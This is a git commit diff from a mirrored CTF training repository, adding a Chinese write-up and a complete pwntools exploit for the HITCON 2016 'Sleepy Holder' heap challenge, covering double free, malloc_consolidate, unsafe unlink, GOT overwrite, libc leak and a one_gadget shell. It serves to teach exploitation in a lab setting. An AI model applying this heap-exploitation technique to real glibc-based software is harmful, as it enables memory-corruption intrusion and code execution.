mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-25 11:41:16 +07:00
finish 6.1.22
This commit is contained in:
parent
9652ac99b1
commit
38adff96ae
@ -391,19 +391,29 @@ Which Secret do you want to wipe?
|
|||||||
|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
|
|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
|
||||||
&& (mp_.n_mmaps < mp_.n_mmaps_max)))
|
&& (mp_.n_mmaps < mp_.n_mmaps_max)))
|
||||||
{
|
{
|
||||||
|
```
|
||||||
|
此时将使用 `mmap()` 来分配内存。然而这样得到的内存将与初始堆(由`brk()`分配,位于`.bss`段附近)的位置相距很远,难以利用。所以我们要想办法使用 `brk()` 来分配,好消息是由于性能的关系,在释放由 `mmap()` 分配的 chunk 时,会动态调整阀值 `mp_.mmap_threshold` 来避免碎片化,使得下一次的分配时使用 `brk()`:
|
||||||
|
```
|
||||||
|
void
|
||||||
|
__libc_free (void *mem)
|
||||||
|
{
|
||||||
[...]
|
[...]
|
||||||
/* update statistics */
|
if (chunk_is_mmapped (p)) /* release mmapped memory. */
|
||||||
|
{
|
||||||
int new = atomic_exchange_and_add (&mp_.n_mmaps, 1) + 1;
|
/* see if the dynamic brk/mmap threshold needs adjusting */
|
||||||
atomic_max (&mp_.max_n_mmaps, new);
|
if (!mp_.no_dyn_threshold
|
||||||
|
&& p->size > mp_.mmap_threshold
|
||||||
unsigned long sum;
|
&& p->size <= DEFAULT_MMAP_THRESHOLD_MAX)
|
||||||
sum = atomic_exchange_and_add (&mp_.mmapped_mem, size) + size;
|
{
|
||||||
atomic_max (&mp_.max_mmapped_mem, sum);
|
mp_.mmap_threshold = chunksize (p);
|
||||||
[...]
|
mp_.trim_threshold = 2 * mp_.mmap_threshold;
|
||||||
|
LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
|
||||||
|
mp_.mmap_threshold, mp_.trim_threshold);
|
||||||
|
}
|
||||||
|
munmap_chunk (p);
|
||||||
|
return;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
此时将使用 `mmap()` 来分配内存。然而这样得到的内存将与初始堆(由`brk()`分配,位于`.bss`段附近)的位置相距很远,难以利用。所以我们要想办法使用 `brk()` 来分配,好消息是由于性能的关系,在该函数结束时更新了 `mp_.max_n_mmaps`,使得下一次的分配将使得判断条件不成立,即使用 `brk()`。
|
|
||||||
|
|
||||||
#### unsafe unlink
|
#### unsafe unlink
|
||||||
```python
|
```python
|
||||||
@ -412,7 +422,7 @@ def unlink():
|
|||||||
wipe(1)
|
wipe(1)
|
||||||
keep(2) # big
|
keep(2) # big
|
||||||
wipe(1) # double free
|
wipe(1) # double free
|
||||||
keep(1) # small
|
keep(1) # small # overlapping
|
||||||
keep(3)
|
keep(3)
|
||||||
wipe(3)
|
wipe(3)
|
||||||
keep(3) # huge
|
keep(3) # huge
|
||||||
@ -427,6 +437,7 @@ def unlink():
|
|||||||
|
|
||||||
wipe(3) # unsafe unlink
|
wipe(3) # unsafe unlink
|
||||||
```
|
```
|
||||||
|
因为在分配 large chunk 的时候,glibc 首先会调用函数 `malloc_consolidate()` 来清除 fastbin 中的块。所以 big secret 被放到了原 small secret 的位置,当再次分配 small secret 的时候就造成了堆块重叠。
|
||||||
|
|
||||||
首先制造 double free:
|
首先制造 double free:
|
||||||
```
|
```
|
||||||
@ -470,7 +481,7 @@ gdb-peda$ x/6gx 0x00602098
|
|||||||
#### leak libc
|
#### leak libc
|
||||||
```python
|
```python
|
||||||
def leak():
|
def leak():
|
||||||
global system_addr
|
global one_gadget
|
||||||
|
|
||||||
payload = "A" * 8
|
payload = "A" * 8
|
||||||
payload += p64(elf.got['free']) # big_ptr -> free@got.plt
|
payload += p64(elf.got['free']) # big_ptr -> free@got.plt
|
||||||
@ -483,10 +494,10 @@ def leak():
|
|||||||
wipe(2)
|
wipe(2)
|
||||||
puts_addr = u64(io.recvline()[:6] + "\x00\x00")
|
puts_addr = u64(io.recvline()[:6] + "\x00\x00")
|
||||||
libc_base = puts_addr - libc.symbols['puts']
|
libc_base = puts_addr - libc.symbols['puts']
|
||||||
system_addr = libc_base + libc.symbols['system']
|
one_gadget = libc_base + 0x4525a
|
||||||
|
|
||||||
log.info("libc base: 0x%x" % libc_base)
|
log.info("libc base: 0x%x" % libc_base)
|
||||||
log.info("system address: 0x%x" % system_addr)
|
log.info("one_gadget address: 0x%x" % one_gadget)
|
||||||
```
|
```
|
||||||
|
|
||||||
修改 big_ptr 指向 `free@got.plt`,small_ptr 指向 big_ptr:
|
修改 big_ptr 指向 `free@got.plt`,small_ptr 指向 big_ptr:
|
||||||
@ -569,7 +580,7 @@ def unlink():
|
|||||||
wipe(1)
|
wipe(1)
|
||||||
keep(2) # big
|
keep(2) # big
|
||||||
wipe(1) # double free
|
wipe(1) # double free
|
||||||
keep(1) # small
|
keep(1) # small # overlapping
|
||||||
keep(3)
|
keep(3)
|
||||||
wipe(3)
|
wipe(3)
|
||||||
keep(3) # huge
|
keep(3) # huge
|
||||||
|
@ -68,7 +68,7 @@ Which Secret do you want to wipe?
|
|||||||
2. Big secret
|
2. Big secret
|
||||||
1
|
1
|
||||||
```
|
```
|
||||||
这一题看起来和上一题 Secret_Holder 差不多。同样是 small、big、huge 三种 secret,不同的是这里的 huge secret 是不可修改和删除的。另外在程序开始时会 sleep 几秒钟,不知道对利用有没有帮助。
|
这一题看起来和上一题 Secret_Holder 差不多。同样是 small、big、huge 三种 secret,不同的是这里的 huge secret 是不可修改和删除的。
|
||||||
|
|
||||||
|
|
||||||
## 题目解析
|
## 题目解析
|
||||||
@ -357,6 +357,244 @@ Which Secret do you want to wipe?
|
|||||||
|
|
||||||
|
|
||||||
## 漏洞利用
|
## 漏洞利用
|
||||||
|
总结一下我们知道的东西:
|
||||||
|
- small secret: small chunk, 40 bytes
|
||||||
|
- small_ptr: 0x006020d0
|
||||||
|
- small_flag: 0x006020e0
|
||||||
|
- big secret: large chunk, 4000 bytes
|
||||||
|
- big_ptr: 0x006020c0
|
||||||
|
- big_flag: 0x006020d8
|
||||||
|
- huge secret: large chunk, 400000 bytes
|
||||||
|
- huge_ptr: 0x006020c8
|
||||||
|
- huge_flag: 0x006020dc
|
||||||
|
|
||||||
|
漏洞:
|
||||||
|
- double-free:在 free chunk 的位置 calloc 另一个 chunk,即可再次 free 这个 chunk
|
||||||
|
- use-after-free:由于 double-free,calloc 出来的那个 chunk 被认为是 free 的,但可以使用
|
||||||
|
|
||||||
|
看到这里该题与上一题的差别很明显了,就是我们没有办法再通过 `keep(huge) -> wipe(huge) -> keep(huge)` 来利用 `brk()` 分配内存,制造 unsafe unlink。
|
||||||
|
|
||||||
|
然后我们又在 `_int_malloc()` 中发现了另一个东西:
|
||||||
|
```c
|
||||||
|
static void*
|
||||||
|
_int_malloc(mstate av, size_t bytes)
|
||||||
|
{
|
||||||
|
/*
|
||||||
|
If this is a large request, consolidate fastbins before continuing.
|
||||||
|
While it might look excessive to kill all fastbins before
|
||||||
|
even seeing if there is space available, this avoids
|
||||||
|
fragmentation problems normally associated with fastbins.
|
||||||
|
Also, in practice, programs tend to have runs of either small or
|
||||||
|
large requests, but less often mixtures, so consolidation is not
|
||||||
|
invoked all that often in most programs. And the programs that
|
||||||
|
it is called frequently in otherwise tend to fragment.
|
||||||
|
*/
|
||||||
|
|
||||||
|
else {
|
||||||
|
idx = largebin_index(nb);
|
||||||
|
if (have_fastchunks(av))
|
||||||
|
malloc_consolidate(av);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
当需求 chunk 是一个 large chunk 时,glibc 会将把 fastbins 中的 chunk 移除,设置 `PREV_INUSE` 为 0,合并 free chunk,然后放到 unsorted bin。接着 glibc 尝试从 unsorted bin 中取出 chunk,由于大小不合适,这些 chunk 又被放到 small bin 中:
|
||||||
|
```c
|
||||||
|
/* place chunk in bin */
|
||||||
|
|
||||||
|
if (in_smallbin_range (size))
|
||||||
|
{
|
||||||
|
victim_index = smallbin_index (size);
|
||||||
|
bck = bin_at (av, victim_index);
|
||||||
|
fwd = bck->fd;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
这时就可以再次释放 small secret 而不触发 double-free 的检测。
|
||||||
|
|
||||||
|
那么为什么一定要将 small secret 放进 small bin 呢?因为当 chunk 被放进 small bin 时,会相应的修改 next chunk(即big secret)的 chunk header(设置prev_size,`PREV_INUSE`置0),而当 chunk 被放进 fastbins 时是不会有这样的操作的。接下来我们需要通过 double-free 将 small secret 再次放进 fastbins(这时small secret同时存在于fastbins和small bin中),再从 fastbins 中取出 small secret,原因和上面类似,从 fastbins 中取出 chunk 不会设置 next chunk 的 chunk header。这样我们才能正确地触发 unlink。
|
||||||
|
|
||||||
|
#### unsafe unlink
|
||||||
|
```python
|
||||||
|
def unlink():
|
||||||
|
keep(1, "AAAA") # small
|
||||||
|
keep(2, "AAAA") # big
|
||||||
|
wipe(1) # put small into fastbins
|
||||||
|
keep(3, "AAAA") # huge # put small into small bin
|
||||||
|
wipe(1) # double free # put small into fastbins
|
||||||
|
|
||||||
|
payload = p64(0) + p64(0x21) # fake header
|
||||||
|
payload += p64(small_ptr - 0x18) # fake fd
|
||||||
|
payload += p64(small_ptr - 0x10) # fake bk
|
||||||
|
payload += p64(0x20) # fake prev_size
|
||||||
|
keep(1, payload)
|
||||||
|
|
||||||
|
wipe(2) # unsafe unlink
|
||||||
|
```
|
||||||
|
制造 double-free:
|
||||||
|
```
|
||||||
|
gdb-peda$ x/5gx 0x006020c0
|
||||||
|
0x6020c0: 0x0000000000603560 0x00007ffff7f92010
|
||||||
|
0x6020d0: 0x0000000000603530 0x0000000100000001
|
||||||
|
0x6020e0: 0x0000000000000000
|
||||||
|
gdb-peda$ x/10gx 0x00603530-0x10
|
||||||
|
0x603520: 0x0000000000000000 0x0000000000000031 <-- small
|
||||||
|
0x603530: 0x0000000000000000 0x00007ffff7dd1b98
|
||||||
|
0x603540: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x603550: 0x0000000000000030 0x0000000000000fb0 <-- big <-- PREV_INUSE
|
||||||
|
0x603560: 0x0000000041414141 0x0000000000000000
|
||||||
|
```
|
||||||
|
上面的过程一方面通过 malloc_consolidate 设置了 big secret 的 PREV_INUSE,另一方面通过 double-free 将 small secret 放进 fastbins。
|
||||||
|
|
||||||
|
在 small secret 中布置上一个 fake chunk:
|
||||||
|
```
|
||||||
|
gdb-peda$ x/5gx 0x006020c0
|
||||||
|
0x6020c0: 0x0000000000603560 0x00007ffff7f92010
|
||||||
|
0x6020d0: 0x0000000000603530 0x0000000100000001
|
||||||
|
0x6020e0: 0x0000000000000001
|
||||||
|
gdb-peda$ x/10gx 0x00603530-0x10
|
||||||
|
0x603520: 0x0000000000000000 0x0000000000000031
|
||||||
|
0x603530: 0x0000000000000000 0x0000000000000021 <-- fake chunk
|
||||||
|
0x603540: 0x00000000006020b8 0x00000000006020c0 <-- fd, bk pointer
|
||||||
|
0x603550: 0x0000000000000020 0x0000000000000fb0 <-- big <-- fake prev_size
|
||||||
|
0x603560: 0x0000000041414141 0x0000000000000000
|
||||||
|
gdb-peda$ x/gx 0x006020b8 + 0x18
|
||||||
|
0x6020d0: 0x0000000000603530 <-- P->fd->bk = P
|
||||||
|
gdb-peda$ x/gx 0x006020c0 + 0x10
|
||||||
|
0x6020d0: 0x0000000000603530 <-- P->bk->fd = P
|
||||||
|
```
|
||||||
|
释放 big secret 即可触发 unsafe unlink:
|
||||||
|
```
|
||||||
|
gdb-peda$ x/6gx 0x006020b8
|
||||||
|
0x6020b8: 0x0000000000000000 0x0000000000603560
|
||||||
|
0x6020c8: 0x00007ffff7f92010 0x00000000006020b8 <-- fake chunk ptr
|
||||||
|
0x6020d8: 0x0000000100000000 0x0000000000000001
|
||||||
|
```
|
||||||
|
于是我们就获得了修改 `.bss` 段的能力。
|
||||||
|
|
||||||
|
后面的过程就和上一题完全一样了。
|
||||||
|
|
||||||
|
#### leak libc
|
||||||
|
```python
|
||||||
|
def leak():
|
||||||
|
global one_gadget
|
||||||
|
|
||||||
|
payload = "A" * 8
|
||||||
|
payload += p64(elf.got['free']) # big_ptr -> free@got.plt
|
||||||
|
payload += "A" * 8
|
||||||
|
payload += p64(big_ptr) # small_ptr -> big_ptr
|
||||||
|
payload += p32(1) # big_flag
|
||||||
|
renew(1, payload)
|
||||||
|
renew(2, p64(elf.plt['puts'])) # free@got.plt -> puts@plt
|
||||||
|
renew(1, p64(elf.got['puts'])) # big_ptr -> puts@got.plt
|
||||||
|
|
||||||
|
wipe(2)
|
||||||
|
puts_addr = u64(io.recvline()[:6] + "\x00\x00")
|
||||||
|
libc_base = puts_addr - libc.symbols['puts']
|
||||||
|
one_gadget = libc_base + 0x4525a
|
||||||
|
|
||||||
|
log.info("libc base: 0x%x" % libc_base)
|
||||||
|
log.info("one_gadget address: 0x%x" % one_gadget)
|
||||||
|
```
|
||||||
|
|
||||||
|
#### pwn
|
||||||
|
```python
|
||||||
|
def pwn():
|
||||||
|
payload = "A" * 0x10
|
||||||
|
payload += p64(elf.got['puts']) # small_ptr -> puts@got.plt
|
||||||
|
renew(1, payload)
|
||||||
|
|
||||||
|
renew(1, p64(one_gadget)) # puts@got.plt -> one_gadget
|
||||||
|
io.interactive()
|
||||||
|
```
|
||||||
|
|
||||||
|
开启 ASLR,Bingo!!!
|
||||||
|
```
|
||||||
|
$ python exp.py
|
||||||
|
[+] Starting local process './SleepyHolder': pid 8352
|
||||||
|
[*] libc base: 0x7ffbcd987000
|
||||||
|
[*] one_gadget address: 0x7ffbcd9cc25a
|
||||||
|
[*] Switching to interactive mode
|
||||||
|
$ whoami
|
||||||
|
firmy
|
||||||
|
```
|
||||||
|
|
||||||
|
#### exploit
|
||||||
|
完整的 exp 如下:
|
||||||
|
```python
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
#context.log_level = 'debug'
|
||||||
|
|
||||||
|
io = process(['./SleepyHolder'], env={'LD_PRELOAD':'./libc.so.6'})
|
||||||
|
elf = ELF('SleepyHolder')
|
||||||
|
libc = ELF('libc.so.6')
|
||||||
|
|
||||||
|
small_ptr = 0x006020d0
|
||||||
|
big_ptr = 0x006020c0
|
||||||
|
|
||||||
|
def keep(idx, content):
|
||||||
|
io.sendlineafter("Renew secret\n", '1')
|
||||||
|
io.sendlineafter("Big secret\n", str(idx))
|
||||||
|
io.sendafter("secret: \n", content)
|
||||||
|
|
||||||
|
def wipe(idx):
|
||||||
|
io.sendlineafter("Renew secret\n", '2')
|
||||||
|
io.sendlineafter("Big secret\n", str(idx))
|
||||||
|
|
||||||
|
def renew(idx, content):
|
||||||
|
io.sendlineafter("Renew secret\n", '3')
|
||||||
|
io.sendlineafter("Big secret\n", str(idx))
|
||||||
|
io.sendafter("secret: \n", content)
|
||||||
|
|
||||||
|
def unlink():
|
||||||
|
keep(1, "AAAA") # small
|
||||||
|
keep(2, "AAAA") # big
|
||||||
|
wipe(1) # put small into fastbins
|
||||||
|
keep(3, "AAAA") # huge # put small into small bin
|
||||||
|
wipe(1) # double free # put small into fastbins
|
||||||
|
|
||||||
|
payload = p64(0) + p64(0x21) # fake header
|
||||||
|
payload += p64(small_ptr - 0x18) # fake fd
|
||||||
|
payload += p64(small_ptr - 0x10) # fake bk
|
||||||
|
payload += p64(0x20) # fake prev_size
|
||||||
|
keep(1, payload)
|
||||||
|
|
||||||
|
wipe(2) # unsafe unlink
|
||||||
|
|
||||||
|
def leak():
|
||||||
|
global one_gadget
|
||||||
|
|
||||||
|
payload = "A" * 8
|
||||||
|
payload += p64(elf.got['free']) # big_ptr -> free@got.plt
|
||||||
|
payload += "A" * 8
|
||||||
|
payload += p64(big_ptr) # small_ptr -> big_ptr
|
||||||
|
payload += p32(1) # big_flag
|
||||||
|
renew(1, payload)
|
||||||
|
renew(2, p64(elf.plt['puts'])) # free@got.plt -> puts@plt
|
||||||
|
renew(1, p64(elf.got['puts'])) # big_ptr -> puts@got.plt
|
||||||
|
|
||||||
|
wipe(2)
|
||||||
|
puts_addr = u64(io.recvline()[:6] + "\x00\x00")
|
||||||
|
libc_base = puts_addr - libc.symbols['puts']
|
||||||
|
one_gadget = libc_base + 0x4525a
|
||||||
|
|
||||||
|
log.info("libc base: 0x%x" % libc_base)
|
||||||
|
log.info("one_gadget address: 0x%x" % one_gadget)
|
||||||
|
|
||||||
|
def pwn():
|
||||||
|
payload = "A" * 0x10
|
||||||
|
payload += p64(elf.got['puts']) # small_ptr -> puts@got.plt
|
||||||
|
renew(1, payload)
|
||||||
|
|
||||||
|
renew(1, p64(one_gadget)) # puts@got.plt -> one_gadget
|
||||||
|
io.interactive()
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
unlink()
|
||||||
|
leak()
|
||||||
|
pwn()
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
## 参考资料
|
## 参考资料
|
||||||
- https://ctftime.org/task/4812
|
- https://ctftime.org/task/4812
|
||||||
|
@ -30,7 +30,7 @@ def unlink():
|
|||||||
wipe(1)
|
wipe(1)
|
||||||
keep(2) # big
|
keep(2) # big
|
||||||
wipe(1) # double free
|
wipe(1) # double free
|
||||||
keep(1) # small
|
keep(1) # small # overlapping
|
||||||
keep(3)
|
keep(3)
|
||||||
wipe(3)
|
wipe(3)
|
||||||
keep(3) # huge
|
keep(3) # huge
|
||||||
|
74
src/writeup/6.1.22_pwn_hitconctf2016_sleepy_holder/exp.py
Normal file
74
src/writeup/6.1.22_pwn_hitconctf2016_sleepy_holder/exp.py
Normal file
@ -0,0 +1,74 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
#context.log_level = 'debug'
|
||||||
|
|
||||||
|
io = process(['./SleepyHolder'], env={'LD_PRELOAD':'./libc.so.6'})
|
||||||
|
elf = ELF('SleepyHolder')
|
||||||
|
libc = ELF('libc.so.6')
|
||||||
|
|
||||||
|
small_ptr = 0x006020d0
|
||||||
|
big_ptr = 0x006020c0
|
||||||
|
|
||||||
|
def keep(idx, content):
|
||||||
|
io.sendlineafter("Renew secret\n", '1')
|
||||||
|
io.sendlineafter("Big secret\n", str(idx))
|
||||||
|
io.sendafter("secret: \n", content)
|
||||||
|
|
||||||
|
def wipe(idx):
|
||||||
|
io.sendlineafter("Renew secret\n", '2')
|
||||||
|
io.sendlineafter("Big secret\n", str(idx))
|
||||||
|
|
||||||
|
def renew(idx, content):
|
||||||
|
io.sendlineafter("Renew secret\n", '3')
|
||||||
|
io.sendlineafter("Big secret\n", str(idx))
|
||||||
|
io.sendafter("secret: \n", content)
|
||||||
|
|
||||||
|
def unlink():
|
||||||
|
keep(1, "AAAA") # small
|
||||||
|
keep(2, "AAAA") # big
|
||||||
|
wipe(1) # put small into fastbins
|
||||||
|
keep(3, "AAAA") # huge # put small into small bin
|
||||||
|
wipe(1) # double free # put small into fastbins
|
||||||
|
|
||||||
|
payload = p64(0) + p64(0x21) # fake header
|
||||||
|
payload += p64(small_ptr - 0x18) # fake fd
|
||||||
|
payload += p64(small_ptr - 0x10) # fake bk
|
||||||
|
payload += p64(0x20) # fake prev_size
|
||||||
|
keep(1, payload)
|
||||||
|
|
||||||
|
wipe(2) # unsafe unlink
|
||||||
|
|
||||||
|
def leak():
|
||||||
|
global one_gadget
|
||||||
|
|
||||||
|
payload = "A" * 8
|
||||||
|
payload += p64(elf.got['free']) # big_ptr -> free@got.plt
|
||||||
|
payload += "A" * 8
|
||||||
|
payload += p64(big_ptr) # small_ptr -> big_ptr
|
||||||
|
payload += p32(1) # big_flag
|
||||||
|
renew(1, payload)
|
||||||
|
renew(2, p64(elf.plt['puts'])) # free@got.plt -> puts@plt
|
||||||
|
renew(1, p64(elf.got['puts'])) # big_ptr -> puts@got.plt
|
||||||
|
|
||||||
|
wipe(2)
|
||||||
|
puts_addr = u64(io.recvline()[:6] + "\x00\x00")
|
||||||
|
libc_base = puts_addr - libc.symbols['puts']
|
||||||
|
one_gadget = libc_base + 0x4525a
|
||||||
|
|
||||||
|
log.info("libc base: 0x%x" % libc_base)
|
||||||
|
log.info("one_gadget address: 0x%x" % one_gadget)
|
||||||
|
|
||||||
|
def pwn():
|
||||||
|
payload = "A" * 0x10
|
||||||
|
payload += p64(elf.got['puts']) # small_ptr -> puts@got.plt
|
||||||
|
renew(1, payload)
|
||||||
|
|
||||||
|
renew(1, p64(one_gadget)) # puts@got.plt -> one_gadget
|
||||||
|
io.interactive()
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
unlink()
|
||||||
|
leak()
|
||||||
|
pwn()
|
Loading…
Reference in New Issue
Block a user